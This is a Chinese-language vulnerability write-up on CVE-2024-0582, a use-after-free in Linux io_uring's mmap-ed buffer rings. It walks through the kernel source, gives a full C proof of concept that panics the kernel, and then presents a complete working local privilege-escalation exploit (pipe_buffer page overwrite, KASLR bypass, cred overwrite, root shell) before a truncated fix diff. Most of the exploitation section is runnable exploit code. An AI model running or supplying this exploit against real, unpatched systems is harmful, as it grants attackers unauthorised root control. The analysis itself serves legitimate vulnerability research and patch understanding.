本文最后更新于：2025年3月14日上午

Pwn 完一结算 io_uring 得了 MVP！mmap 就是躺赢狗！

0x00. 一切开始之前

CVE-2024-0582 是一个发生在 Linux kernel 的 io_uring 这一高性能异步 IO API 中的漏洞，得益于对使用 IORING_REGISTER_PBUF_RING 注册的 ring buffer 在 mmap() 映射的情况下存在可以在释放后仍被使用的 UAF 漏洞，攻击者可以通过该漏洞攻击内核以完成本地提权；该漏洞的 CVSS 分数为 7.8 ，影响版本包括但不限于 6.4~6.6.5 ，本文我们选用 6.4 版本的内核源码进行分析

在开始之前，请先自行了解 IO_URING 相关的基础知识

等后面有更多时间了笔者再写几篇 io_uring 相关的博客，现在先🕊着：）

0x01. 漏洞分析

PBUF_RING Internal

众所周知 IO_URING 提供了下面三个新的系统调用：

io_uring_setup()：创建 io_uring 上下文，主要是创建一个 SQ 队列与一个 CQ 队列，并指定 queue 的元素数量；该系统调用会返回一个文件描述符以供我们进行后续操作
io_uring_register()：操作用于异步 I/O 的文件或用户缓冲区（files or user buffers），主要有注册（在内核中创建新的缓冲区）、更新（更新缓冲区内容）、注销（释放缓冲区）等操作，已经注册的缓冲区大小无法调整
io_uring_enter()：提交新的 I/O 请求，可以选择是否等待 I/O 完成

对于 io_uring_register() ，其系统调用原型如下：

1 2	`SYSCALL_DEFINE4(io_uring_register, unsigned int, fd, unsigned int, opcode, void __user *, arg, unsigned int, nr_args)`

在其核心逻辑的 __io_uring_register() 函数当中有一个大的 switch 来为不同的 opcode 调用不同的处理函数，我们主要关注于与 PBUF_RING 相关的部分

I. 注册：IORING_REGISTER_PBUF_RING

对于这个漏洞我们主要关注当 opcode == IORING_REGISTER_PBUF_RING 的情况，该 opcode 意味着注册一个环形缓冲区，其最终会调用到 io_register_pbuf_ring() 函数：

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl, *free_bl = NULL;
	int ret;

	if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;

	if (reg.resv[0] || reg.resv[1] || reg.resv[2])
		return -EINVAL;
	if (reg.flags & ~IOU_PBUF_RING_MMAP)
		return -EINVAL;
	if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
		if (!reg.ring_addr)
			return -EFAULT;
		if (reg.ring_addr & ~PAGE_MASK)
			return -EINVAL;
	} else {
		if (reg.ring_addr)
			return -EINVAL;
	}

	if (!is_power_of_2(reg.ring_entries))
		return -EINVAL;

	/* cannot disambiguate full vs empty due to head/tail size */
	if (reg.ring_entries >= 65536)
		return -EINVAL;

	if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
		int ret = io_init_bl_list(ctx);
		if (ret)
			return ret;
	}

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (bl) {
		/* if mapped buffer ring OR classic exists, don't allow */
		if (bl->is_mapped || !list_empty(&bl->buf_list))
			return -EEXIST;
	} else {
		free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
		if (!bl)
			return -ENOMEM;
	}

	if (!(reg.flags & IOU_PBUF_RING_MMAP))
		ret = io_pin_pbuf_ring(&reg, bl);
	else
		ret = io_alloc_pbuf_ring(&reg, bl);

	if (!ret) {
		bl->nr_entries = reg.ring_entries;
		bl->mask = reg.ring_entries - 1;

		io_buffer_add_list(ctx, bl, reg.bgid);
		return 0;
	}

	kfree(free_bl);
	return ret;
}

略过各种参数检查等，我们主要关注其核心逻辑：

首先调用 io_buffer_get_list() 获取已经存在的 io_buffer_list 结构体，如果不存在则分配
如果请求中带有 IOU_PBUF_RING_MMAP 标志位，调用 io_alloc_pbuf_ring() 由内核分配连续页面，否则调用 io_pin_pbuf_ring() 将来自用户态的页面 pin 到 ring 上
完成后将结果写入前面分配的 io_buffer_list 结构体中记录，并将该 io_buffer_list 放到当前的上下文中

这里的子标志位主要用来指示 ring buffer 的分配者，若设置了 IOU_PBUF_RING_MMAP 意味着由内核分配环形缓冲区的内存，之后用户态应用使用 mmap() 映射以访问：

/*
 * Flags for IORING_REGISTER_PBUF_RING.
 *
 * IOU_PBUF_RING_MMAP:	If set, kernel will allocate the memory for the ring.
 *			The application must not set a ring_addr in struct
 *			io_uring_buf_reg, instead it must subsequently call
 *			mmap(2) with the offset set as:
 *			IORING_OFF_PBUF_RING | (bgid << IORING_OFF_PBUF_SHIFT)
 *			to get a virtual mapping for the ring.
 */
enum {
	IOU_PBUF_RING_MMAP	= 1,
};

若未设置该标志位，则意味着由用户态程序提供对应的页面，此时内核会调用 io_pin_pages() 并最终调用 pin_user_pages() 完成这一操作

因为我们的漏洞出现在和 mmap() 相关的路径上，因此我们主要关注调用 io_alloc_pbuf_ring() 这一路径，该最终会调用 __get_free_pages() 分配空闲页面：

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
			      struct io_buffer_list *bl)
{
	gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
	size_t ring_size;
	void *ptr;

	ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
	ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
	if (!ptr)
		return -ENOMEM;

	bl->buf_ring = ptr;
	bl->is_mapped = 1;
	bl->is_mmap = 1;
	return 0;
}

分配的结构大概长这个样子：

II. 注销：IORING_UNREGISTER_PBUF_RING

有注册就有注销，有内存分配就有内存释放，注销 PBUF_RING 对应的 opcode 为 IORING_UNREGISTER_PBUF_RING ，内核会调用到 io_unregister_pbuf_ring() 进行处理：

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl;

	if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;
	if (reg.resv[0] || reg.resv[1] || reg.resv[2])
		return -EINVAL;
	if (reg.flags)
		return -EINVAL;

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (!bl)
		return -ENOENT;
	if (!bl->is_mapped)
		return -EINVAL;

	__io_remove_buffers(ctx, bl, -1U);
	if (bl->bgid >= BGID_ARRAY) {
		xa_erase(&ctx->io_bl_xa, bl->bgid);
		kfree(bl);
	}
	return 0;
}

不难看出其核心逻辑为：

首先调用 io_buffer_get_list() 获取已经存在的 io_buffer_list 结构体，如果不存在则返回
接下来调用 __io_remove_buffers() 释放 io_buffer_list 当中的页面
最后调用 xa_erase() 从上下文中移除该 io_buffer_list 并释放

在看 __io_remove_buffers() 之前，我们首先回去看 io_alloc_pbuf_ring() ，注意到 io_buffer_list 这些成员的赋值：

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
			      struct io_buffer_list *bl)
{
	/* ... */
	bl->is_mapped = 1;
	bl->is_mmap = 1;

因此在 __io_remove_buffers() 当中，我们会进入下面的路径将前面分配的页面释放掉：

static int __io_remove_buffers(struct io_ring_ctx *ctx,
			       struct io_buffer_list *bl, unsigned nbufs)
{
	unsigned i = 0;

	/* shouldn't happen */
	if (!nbufs)
		return 0;

	if (bl->is_mapped) {
		i = bl->buf_ring->tail - bl->head;
		if (bl->is_mmap) {
			struct page *page;

			page = virt_to_head_page(bl->buf_ring);
			if (put_page_testzero(page))
				free_compound_page(page);
			bl->buf_ring = NULL;
			bl->is_mmap = 0;
		} /* ... */
	}

在后面的版本中释放页面的逻辑会从使用 put_page_testzero() 换成 folio_put(virt_to_folio(bl->buf_ring)); ，因此在修复该漏洞的 commit 当中你看到的是去除掉了 folio_put() 函数，但本质上的逻辑是一样的

III. 使用：io_uring_mmap

我们如何从用户空间访问 io_alloc_pbuf_ring() 分配的内存？内核通过 mmap() 为我们提供了一个方便快捷的途径，当我们对一个 io_uring 的 fd 使用 mmap() 进行映射时，内核最终会调用到 io_uring_mmap() 函数：

static __cold int io_uring_mmap(struct file *file, struct vm_area_struct *vma)
{
	size_t sz = vma->vm_end - vma->vm_start;
	unsigned long pfn;
	void *ptr;

	ptr = io_uring_validate_mmap_request(file, vma->vm_pgoff, sz);
	if (IS_ERR(ptr))
		return PTR_ERR(ptr);

	pfn = virt_to_phys(ptr) >> PAGE_SHIFT;
	return remap_pfn_range(vma, vma->vm_start, pfn, sz, vma->vm_page_prot);
}

//...

static const struct file_operations io_uring_fops = {
	.release	= io_uring_release,
	.mmap		= io_uring_mmap,

在 io_uring_validate_mmap_request() 函数中首先会根据 mmap() 的 offset 参数判断具体操作，这里我们也可以看出对于 io_uring 而言 mmap() 的最后一个参数并非传统的用来表示偏移值，而是使用高位数据作为 mask 表示不同类型，低位存储具体数据，这里我们主要关注和 PBUF_RING 相关的分支：

static void *io_uring_validate_mmap_request(struct file *file,
					    loff_t pgoff, size_t sz)
{
	struct io_ring_ctx *ctx = file->private_data;
	loff_t offset = pgoff << PAGE_SHIFT;
	struct page *page;
	void *ptr;

	/* Don't allow mmap if the ring was setup without it */
	if (ctx->flags & IORING_SETUP_NO_MMAP)
		return ERR_PTR(-EINVAL);

	switch (offset & IORING_OFF_MMAP_MASK) {
	case IORING_OFF_SQ_RING:
	case IORING_OFF_CQ_RING:
		ptr = ctx->rings;
		break;
	case IORING_OFF_SQES:
		ptr = ctx->sq_sqes;
		break;
	case IORING_OFF_PBUF_RING: {
		unsigned int bgid;

		bgid = (offset & ~IORING_OFF_MMAP_MASK) >> IORING_OFF_PBUF_SHIFT;
		mutex_lock(&ctx->uring_lock);
		ptr = io_pbuf_get_address(ctx, bgid);
		mutex_unlock(&ctx->uring_lock);
		if (!ptr)
			return ERR_PTR(-EINVAL);
		break;
		}
	default:
		return ERR_PTR(-EINVAL);
	}

	page = virt_to_head_page(ptr);
	if (sz > page_size(page))
		return ERR_PTR(-EINVAL);

	return ptr;
}

io_pbuf_get_address 的逻辑就简单很多，主要就是取出我们前面分配的 buf_ring ：

void *io_pbuf_get_address(struct io_ring_ctx *ctx, unsigned long bgid)
{
	struct io_buffer_list *bl;

	bl = io_buffer_get_list(ctx, bgid);
	if (!bl || !bl->is_mmap)
		return NULL;

	return bl->buf_ring;
}

Root Cause

我们其实不难看出漏洞出现在对内存所有权的严格管控，当我们将 bl->buf_ring 的内存通过 mmap() 映射出去之后， 居然仍旧能够直接通过 io_unregister_pbuf_ring 函数将这块内存给释放掉 ，由此我们先进行内存分配、再进行 mmap() 、最后再释放这块内存就直接有一个 UAF 了： 我们可以通过 mmap() 的内存区域直接读写释放掉的内内存页

Proof-Of-Concept

这里笔者给出自己写的 POC，主要就是利用 UAF 漏洞在 seq_file::seq_operations 里瞎写一通造成 kernel panic：

为什么用 liburing 而不是自己手搓 raw syscall？因为👴还没那么闲得慌

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/user.h>

#ifndef IS_ERR
#define IS_ERR(ptr) ((uintptr_t) ptr >= (uintptr_t) -4095UL)
#endif

#ifndef PTR_ERR
#define PTR_ERR(ptr) ((int) (intptr_t) ptr)
#endif

#define SUCCESSS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf(INFO_MSG("[*] Process binded to core: ") "%d\n", core);
}

struct io_uring_buf_ring*
setup_pbuf_ring_mmap(struct io_uring *ring, unsigned int ring_entries,
                     int bgid, unsigned int flags, int *retp)
{
    struct io_uring_buf_ring *buf_ring;
    struct io_uring_buf_reg buf_reg;
    size_t ring_size;
    off_t offset;
    int ret;

    memset(&buf_reg, 0, sizeof(buf_reg));

    /* we don't need to set reg.addr for IOU_PBUF_RING_MMAP */
    buf_reg.ring_entries = ring_entries;
    buf_reg.bgid = bgid;
    buf_reg.flags = IOU_PBUF_RING_MMAP;

    ret = io_uring_register_buf_ring(ring, &buf_reg, flags);
    if (ret) {
        puts(ERR_MSG("[x] Error occur while doing io_uring_register_buf_ring"));
        *retp = ret;
        return NULL;
    }

    /**
 [chr(int(i,16))for i in['3361626e74747261'[i:i+2]for i in range(0,16,2)]][::-1]
    **/
    offset = IORING_OFF_PBUF_RING | (uint64_t) bgid << IORING_OFF_PBUF_SHIFT;
    ring_size = ring_entries * sizeof(struct io_uring_buf);
    buf_ring = mmap(
        NULL,
        ring_size,
        PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
        ring->ring_fd,
        offset
    );

    if (IS_ERR(buf_ring)) {
        puts(ERR_MSG("[x] Error occur while doing mmap() for io_uring"));
        *retp = PTR_ERR(buf_ring);
        return NULL;
    }

    *retp = 0;
    return buf_ring;
}

#define NR_PAGES    1
#define NR_BUFFERS  0x100
#define SEQ_FILE_NR 0x200

void proof_of_concept(void)
{
    struct io_uring ring;
    void **buffers;
    int seq_fd[SEQ_FILE_NR], found = 0;
    int ret;

    puts(SUCCESSS_MSG("-------- CVE-2024-0582 Proof-of-concet --------"));
    puts(INFO_MSG("-------\t\t Author: ") "arttnba3" INFO_MSG(" \t-------"));
    puts(SUCCESSS_MSG("-----------------------------------------------\n"));

    puts("[*] Preparing...");

    bind_core(0);

    if (io_uring_queue_init(4, &ring, 0) < 0) {
        perror(ERR_MSG("[x] Unable to init for io_uring queue"));
        exit(EXIT_FAILURE);
    }

    puts("[*] Allocating pbuf ring and doing mmap()...");

    buffers = calloc(NR_BUFFERS, sizeof(void*));
    for (int i = 0; i < NR_BUFFERS; i++) {
        buffers[i] = setup_pbuf_ring_mmap(
            &ring,
            NR_PAGES * PAGE_SIZE / sizeof(struct io_uring_buf),
            i,
            0,
            &ret
        );
        if (ret) {
            printf(
                ERR_MSG("[x] Unable to set up") " No.%d "
                ERR_MSG("pbuf ring, error code: ") "%d\n",
                i,
                ret
            );
            exit(EXIT_FAILURE);
        }

        io_uring_buf_ring_init(buffers[i]);
    }

    puts("[*] Triggering page-level UAF vulnerabilities...");

    for (int i = 0; i < NR_BUFFERS; i++) {
        ret = io_uring_unregister_buf_ring(&ring, i);
        if (ret) {
            printf(
                ERR_MSG("[x] Unable to unregister") " No.%d "
                ERR_MSG("pbuf ring, error code: ") "%d\n",
                i,
                ret
            );
            exit(EXIT_FAILURE);
        }
    }

    puts("[*] Reallocating page into seq_file::seq_operations...");

    for (int i = 0; i < SEQ_FILE_NR; i++) {
        if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
            printf(
                ERR_MSG("[x] Unable to open") " No.%d "
                ERR_MSG("seq file, error code: ") "%d\n",
                i,
                seq_fd[i]
            );
            exit(EXIT_FAILURE);
        }
    }

    puts("[*] Checking data leak and overwriting...");

    for (int i = 0; i < NR_BUFFERS; i++) {
        uint64_t *buffer = buffers[i];
        for (int j = 0; j < (NR_PAGES * PAGE_SIZE / sizeof(uint64_t)); j++) {
            if (buffer[j]>0xffffffff80000000 && buffer[j]<0xfffffffff0000000) {
                printf(
                    SUCCESSS_MSG("[+] Got kernel data leak:") " %lx "
                    SUCCESSS_MSG("at location ") "%d-%d\n",
                    buffer[j],
                    i,
                    j
                );
                buffer[j] = *(uint64_t*) "arttnba3";
                found = 1;
                goto out;
            }
        }
    }

    if (!found) {
        puts(ERR_MSG("[x] Failed to reallocate UAF page as seq_operations!"));
        exit(EXIT_FAILURE);
    }

out:
    puts("[*] Triggering kernel panic...");

    sleep(1);

    for (int i = 0; i < SEQ_FILE_NR; i++) {
        char buf[0x1000];
        read(seq_fd[i], buf, 1);
    }

    puts("[?] So you're still alive here!?");
    system("/bin/sh");
}

int main(int argc, char **argv, char **envp)
{
    proof_of_concept();
    return 0;
}

运行，成功造成 kernel panic：

0x02. 漏洞利用

这个 UAF 可谓是相当的白给，其来自于非常常见的分配 page 的 API，并且可以在用户空间直接读写 UAF page，所以利用方式基本上可以说是多种多样的， 可谓是想怎么利用就怎么利用，而且还特别稳定

这里笔者直接用 page-level UAF 通过改写 pipe_buffer::page 的方式获取内核空间任意读写的权能，之后直接改写当前进程的 cred 结构体完成提权：

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <sys/prctl.h>

#ifndef IS_ERR
#define IS_ERR(ptr) ((uintptr_t) ptr >= (uintptr_t) -4095UL)
#endif

#ifndef PTR_ERR
#define PTR_ERR(ptr) ((int) (intptr_t) ptr)
#endif

#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"

#define KASLR_GRANULARITY 0x10000000
#define KASLR_MASK (~(KASLR_GRANULARITY - 1))
uint64_t kernel_base, vmemmap_base, page_offset_base;

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf(INFO_MSG("[*] Process binded to core: ") "%d\n", core);
}

void err_exit(const char *fmt, ...)
{
    va_list args;
    int ret;

    va_start(args, fmt);
    printf(fmt, args);
    va_end(args);

    fflush(stdout);
    fflush(stderr);

    sleep(5);

    exit(EXIT_FAILURE);
}

void get_root_shell(void)
{
    if(getuid()) {
        puts(ERR_MSG("[x] Failed to get the root!"));
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts(SUCCESS_MSG("[+] Successful to get the root."));
    puts(INFO_MSG("[*] Execve root shell now..."));

    system("/bin/sh");
    
    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

struct io_uring_buf_ring*
setup_pbuf_ring_mmap(struct io_uring *ring, unsigned int ring_entries,
                     int bgid, unsigned int flags, int *retp)
{
    struct io_uring_buf_ring *buf_ring;
    struct io_uring_buf_reg buf_reg;
    size_t ring_size;
    off_t offset;
    int ret;

    memset(&buf_reg, 0, sizeof(buf_reg));

    /* we don't need to set reg.addr for IOU_PBUF_RING_MMAP */
    buf_reg.ring_entries = ring_entries;
    buf_reg.bgid = bgid;
    buf_reg.flags = IOU_PBUF_RING_MMAP;

    ret = io_uring_register_buf_ring(ring, &buf_reg, flags);
    if (ret) {
        puts(ERR_MSG("[x] Error occur while doing io_uring_register_buf_ring"));
        *retp = ret;
        return NULL;
    }

    /**
 [chr(int(i,16))for i in['3361626e74747261'[i:i+2]for i in range(0,16,2)]][::-1]
    **/
    offset = IORING_OFF_PBUF_RING | (uint64_t) bgid << IORING_OFF_PBUF_SHIFT;
    ring_size = ring_entries * sizeof(struct io_uring_buf);
    buf_ring = mmap(
        NULL,
        ring_size,
        PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
        ring->ring_fd,
        offset
    );

    if (IS_ERR(buf_ring)) {
        puts(ERR_MSG("[x] Error occur while doing mmap() for io_uring"));
        *retp = PTR_ERR(buf_ring);
        return NULL;
    }

    *retp = 0;
    return buf_ring;
}

/**
 * In my test environment, kmalloc-1k allocates from 4-page slub, so I chose 4.
 * However, it might not be the same in your environment, e.g., it's 8 on my PC.
 * Check your /proc/slabinfo before doing the exploitation.
*/
#define NR_PAGES    4
#define NR_BUFFERS  0x200
#define SEQ_FILE_NR 0x200
#define PIPE_SPRAY_NR 0x1F0

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct cred {
    long usage;
    uint32_t uid;
    uint32_t gid;
    uint32_t suid;
    uint32_t sgid;
    uint32_t euid;
    uint32_t egid;
    uint32_t fsuid;
    uint32_t fsgid;
};

void read_kernel_page_by_pipe(struct page*page,struct pipe_buffer*kern_pipe_buf,
                              int pipe_fd[2], void *buf, size_t len)
{
    kern_pipe_buf->page = page;
    kern_pipe_buf->offset = 0;
    kern_pipe_buf->len = 0xffe;

    if (read(pipe_fd[0], buf, len) != len) {
        perror(ERR_MSG("[x] Unable to do reading on pipe"));
        exit(EXIT_FAILURE);
    }
}

void write_kernel_page_by_pipe(struct page *page,
                               struct pipe_buffer*kern_pipe_buf,
                               int pipe_fd[2], void *buf, size_t len)
{
    kern_pipe_buf->page = page;
    kern_pipe_buf->offset = 0;
    kern_pipe_buf->len = 0;

    if (write(pipe_fd[1], buf, len) != len) {
        perror(ERR_MSG("[x] Unable to do writing on pipe"));
        exit(EXIT_FAILURE);
    }
}

void exploit(void)
{
    struct io_uring ring;
    void **buffers;
    struct pipe_buffer *kern_pipe_buffer = NULL;
    uint64_t kernel_leak;
    int pipe_fd[PIPE_SPRAY_NR][2], victim_idx = -1;
    uint32_t uid, gid;
    uint64_t cred_kaddr, cred_kpage_addr;
    struct cred *cred_data;
    char buf[0x1000];
    int ret;

    puts(SUCCESS_MSG("-------- CVE-2024-0582 Exploitation --------") "\n"
    INFO_MSG("--------      Author: ")"arttnba3"INFO_MSG("      --------") "\n"
    SUCCESS_MSG("-------- Local Privilege Escalation --------\n"));

    bind_core(0);

    puts("[*] Initializing io_uring ...");

    if (io_uring_queue_init(4, &ring, 0) < 0) {
        perror(ERR_MSG("[x] Unable to init for io_uring queue"));
        exit(EXIT_FAILURE);
    }

    puts("[*] Allocating pbuf ring and doing mmap() ...");

    buffers = calloc(NR_BUFFERS, sizeof(void*));
    for (int i = 0; i < NR_BUFFERS; i++) {
        buffers[i] = setup_pbuf_ring_mmap(
            &ring,
            NR_PAGES * PAGE_SIZE / sizeof(struct io_uring_buf),
            i,
            0,
            &ret
        );
        if (ret) {
            printf(
                ERR_MSG("[x] Unable to set up") " No.%d "
                ERR_MSG("pbuf ring, error code: ") "%d\n",
                i,
                ret
            );
            exit(EXIT_FAILURE);
        }

        io_uring_buf_ring_init(buffers[i]);
    }

    puts("[*] Triggering page-level UAF vulnerabilities ...");

    for (int i = 0; i < NR_BUFFERS; i += 2) {   /* we neeed "holes" */
        ret = io_uring_unregister_buf_ring(&ring, i);
        if (ret) {
            printf(
                ERR_MSG("[x] Unable to unregister") " No.%d "
                ERR_MSG("pbuf ring, error code: ") "%d\n",
                i,
                ret
            );
            exit(EXIT_FAILURE);
        }
    }

    puts("[*] Reallocating pages as pipe_buffers ...");

    for (int i = 0; i < PIPE_SPRAY_NR; i++) {
        if ((ret = pipe(pipe_fd[i])) < 0) {
            printf(
                ERR_MSG("[x] Unable to set up") " No.%d "
                ERR_MSG("pipe, error code: ") "%d\n",
                i,
                ret
            );
            exit(EXIT_FAILURE);
        }
    }

    puts("[*] Allocating pipe_buffer::page ...");

    for (int i = 0; i < PIPE_SPRAY_NR; i++) {
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], "arttnba3", 8);
    }

    puts("[*] Checking for UAF mmap address ...");

    for (int i = 0; i < NR_BUFFERS; i += 2) {
        uint64_t *buffer = buffers[i];
        for (int j = 0; j < (NR_PAGES * PAGE_SIZE / sizeof(uint64_t)); j++) {
            if (buffer[j] > 0xffff000000000000
                && buffer[j + 1] == 0x2000000000
                && buffer[j + 2] > 0xffffffff81000000) {
                printf(
                    SUCCESS_MSG("[+] Got kernel pipe_buffer mapped at buffer:")
                    " %d-%d\n", i, j
                );
                printf(
                    INFO_MSG("[*] Leak pipe_buffer::page = ")"%lx\n", buffer[j]
                );
                printf(
                    INFO_MSG("[*] Leak pipe_buffer::ops = ")"%lx\n", buffer[j+2]
                );
                kern_pipe_buffer = (void*) &buffer[j];
                goto out_find_pipe;
            }
        }
    }

    if (!kern_pipe_buffer) {
        puts(ERR_MSG("[x] Failed to find kernel pipe_buffer in user space!"));
        exit(EXIT_FAILURE);
    }

out_find_pipe:

    puts("[*] Overwriting victim pipe_buffer::page ...");
    /* note that the granularity of KASLR is 256MB, i.e. 0x10000000*/
    vmemmap_base = (uint64_t) kern_pipe_buffer->page & KASLR_MASK;
    kern_pipe_buffer->page = (void*) (vmemmap_base + 0x9d000 / 0x1000 * 0x40);

    for (int i = 0; i < PIPE_SPRAY_NR; i++) {
        read(pipe_fd[i][0], &kernel_leak, sizeof(kernel_leak));
        if (kernel_leak != *(uint64_t*) "arttnba3") {
            printf(SUCCESS_MSG("[+] Got victim pipe at idx: ") "%d\n", i);
            victim_idx = i;
            break;
        }
    }

    if (victim_idx == -1) {
        puts(ERR_MSG("[x] Failed to find the victim pipe!"));
        exit(EXIT_FAILURE);
    }

    for (uint64_t loop_nr = 0; 1; loop_nr++) {
        if (kernel_leak > 0xffffffff81000000
            && (kernel_leak & 0xfff) < 0x100) {
            kernel_base = kernel_leak & 0xfffffffffffff000;
            if (loop_nr != 0) {
                puts("");
            }
            printf(
                INFO_MSG("[*] Leak secondary_startup_64 : ") "%lx\n",kernel_leak
            );
            printf(SUCCESS_MSG("[+] Got kernel base: ") "%lx\n", kernel_base);
            printf(SUCCESS_MSG("[+] Got vmemmap_base: ") "%lx\n", vmemmap_base);
            break;
        }

        for (int i = 0; i < 80; i++) {
            putchar('\b');
        }
        printf(
            "[No.%ld loop] Got unmatched data: %lx, keep looping...",
            loop_nr,
            kernel_leak
        );

        vmemmap_base -= KASLR_GRANULARITY;
        read_kernel_page_by_pipe(
            (void*) (vmemmap_base + 0x9d000 / 0x1000 * 0x40),
            kern_pipe_buffer,
            pipe_fd[victim_idx],
            &kernel_leak,
            sizeof(kernel_leak)
        );
    }

    puts("[*] Finding task_struct of current process in kernel space ...");

    prctl(PR_SET_NAME, "rat3bant");
    uid = getuid();
    gid = getgid();

    for (int i = 0; 1; i++) {
        uint64_t *comm_addr;

        read_kernel_page_by_pipe(
            (void*) (vmemmap_base + 0x40 * i),
            kern_pipe_buffer,
            pipe_fd[victim_idx],
            buf,
            0xff8
        );

        comm_addr = memmem(buf, 0xff0, "rat3bant", 8);

        if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
            && (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
            && (comm_addr[-2] == comm_addr[-3])) {  /* should be equal */

            printf(
                SUCCESS_MSG("[+] Found task_struct on page: ") "%lx\n",
                (vmemmap_base + i * 0x40)
            );
            printf(SUCCESS_MSG("[+] Got cred address: ") "%lx\n",comm_addr[-2]);

            cred_kaddr = comm_addr[-2];
            cred_data = (void*) (buf + (cred_kaddr & (PAGE_SIZE - 1)));
            page_offset_base = cred_kaddr & KASLR_MASK;

            while (1) {
                cred_kpage_addr = vmemmap_base + \
                                (cred_kaddr - page_offset_base) / 0x1000 * 0x40;
            
                read_kernel_page_by_pipe(
                    (void*) cred_kpage_addr,
                    kern_pipe_buffer,
                    pipe_fd[victim_idx],
                    buf,
                    0xffe
                );
                if (cred_data->uid == uid
                    && cred_data->gid == gid) {
                    printf(
                        SUCCESS_MSG("[+] Found cred on page: ") "%lx\n",
                        cred_kpage_addr
                    );
                    break;
                }

                page_offset_base -= KASLR_GRANULARITY;
            }

            break;
        }
    }

    puts("[*] Overwriting cred and granting root privilege...");

    cred_data->uid = 0;
    cred_data->gid = 0;

    write_kernel_page_by_pipe(
        (void*) cred_kpage_addr,
        kern_pipe_buffer,
        pipe_fd[victim_idx],
        buf,
        0xff0
    );

    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    get_root_shell();
}

int main(int argc, char **argv, char **envp)
{
    exploit();
    return 0;
}

运行即可完成提权，非常™稳定而且不依赖于特定的内核镜像：

0x03. 漏洞修复

这个漏洞最终在这个 commit 当中被修复，修复方式是：

添加了一个记录延迟释放 buffer 的链表与对应结构
将 buffer 释放推迟到调用 ->release() 时，而非原来的即时释放），从而在 mmap() 区域销毁后才会回收这部分内存

这个修改引入了更适用的架构，而且确乎避免了 UAF 的问题，在笔者看来还是比较成功的：

diff --git a/include/linux/io_uring_types.h b/include/linux/io_uring_types.h
index d3009d56af0ba3..805bb635cdf558 100644
--- a/include/linux/io_uring_types.h
+++ b/include/linux/io_uring_types.h
@@ -340,6 +340,9 @@ struct io_ring_ctx {
 
 	struct list_head	io_buffers_cache;
 
+	/* deferred free list, protected by ->uring_lock */
+	struct hlist_head	io_buf_list;
+
 	/* Keep this last, we don't need it for the fast path */
 	struct wait_queue_head		poll_wq;
 	struct io_restriction		restrictions;
diff --git a/io_uring/io_uring.c b/io_uring/io_uring.c
index e40b1143821045..3a216f0744dd66 100644
--- a/io_uring/io_uring.c
+++ b/io_uring/io_uring.c
@@ -325,6 +325,7 @@ static __cold struct io_ring_ctx *io_ring_ctx_alloc(struct io_uring_params *p)
 	INIT_LIST_HEAD(&ctx->sqd_list);
 	INIT_LIST_HEAD(&ctx->cq_overflow_list);
 	INIT_LIST_HEAD(&ctx->io_buffers_cache);
+	INIT_HLIST_HEAD(&ctx->io_buf_list);
 	io_alloc_cache_init(&ctx->rsrc_node_cache, IO_NODE_ALLOC_CACHE_MAX,
 			    sizeof(struct io_rsrc_node));
 	io_alloc_cache_init(&ctx->apoll_cache, IO_ALLOC_CACHE_MAX,
@@ -2950,6 +2951,7 @@ static __cold void io_ring_ctx_free(struct io_ring_ctx *ctx)
 		ctx->mm_account = NULL;
 	}
 	io_rings_free(ctx);
+	io_kbuf_mmap_list_free(ctx);
 
 	percpu_ref_exit(&ctx->refs);
 	free_uid(ctx->user);
diff --git a/io_uring/kbuf.c b/io_uring/kbuf.c
index a1e4239c7d75d1..85e680fc74ce2c 100644
--- a/io_uring/kbuf.c
+++ b/io_uring/kbuf.c
@@ -33,6 +33,11 @@ struct io_provide_buf {
